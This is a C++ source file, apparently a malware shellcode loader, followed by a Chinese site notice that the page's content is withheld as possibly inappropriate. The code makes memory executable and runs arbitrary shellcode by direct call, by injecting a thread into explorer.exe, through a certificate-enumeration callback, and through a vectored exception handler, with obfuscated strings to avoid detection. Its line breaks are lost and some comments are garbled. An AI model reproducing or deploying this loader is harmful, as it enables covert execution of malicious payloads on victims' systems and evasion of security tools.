#include "Loader.h"#include "CodeInject.h"#include "Utils.h"#include "xorstr.hpp"#pragma comment(lib,"Crypt32.lib")/////////////////ֱӼ///////////////////void Loader::RunShellCode_1(unsigned char *buffer){DWORD OldProtect = 0;PVOID pBuffer = NULL;pBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x1000);if (pBuffer == NULL){return;}if (!VirtualProtect(pBuffer, 0x1000, PAGE_EXECUTE_READWRITE, &OldProtect)){printf("%d\n", GetLastError());}memcpy(pBuffer, buffer, 0x1000);((void(*)(void))pBuffer)();}void Loader::RunShellCode_2(unsigned char* buffer){DWORD OldProtect = 0;VirtualProtect(buffer, 0x1000, PAGE_EXECUTE_READWRITE, &OldProtect);((void(*)(void))buffer)();}////////////////////////////עʽ///////////////////////////////void Loader::InjectShellCode_1(unsigned char* buffer){CodeBuffer Buffer = { 0 };Buffer.BufferSize = 0x1000;Buffer.pBuffer = (PBYTE)0x1000;//ChangePageProtect(Buffer);DWORD dwPid = 0;while (!dwPid){dwPid = GetProcessIdByProcessName(xorstr_("explorer.exe"));//dwPid = GetProcessIdByProcessName(L"LogonUI.exe");Sleep(10);}CodeInject::ZwCreateThreadExCodeInject(dwPid, Buffer);}void Loader::CertEnumSystemStoreCallbackRunShellcode(unsigned char* buffer){DWORD OldProtect = 0;VirtualProtect(buffer, 0x1000, PAGE_EXECUTE_READWRITE, &OldProtect);CertEnumSystemStore(0x10000u, 0, (void*)xorstr_("abcdefg"), (PFN_CERT_ENUM_SYSTEM_STORE)buffer);}// ////////////////////VEH////////////////////////////////unsigned char* ptrshellcode = 0;LONG NTAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo){#ifdef _WIN64ExceptionInfo->ContextRecord->Rip += 1;#elseExceptionInfo->ContextRecord->Eip += 1;#endifLoader::RunShellCode_2(ptrshellcode);//Loader::InjectShellCode_1();//Loader::CertEnumSystemStoreCallbackRunShellcode(ptrshellcode);return EXCEPTION_CONTINUE_SEARCH;}void Loader::VehRunShellcode(unsigned char* buffer){ptrshellcode = buffer;AddVectoredExceptionHandler(1, ExceptionHandler);__debugbreak();}
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。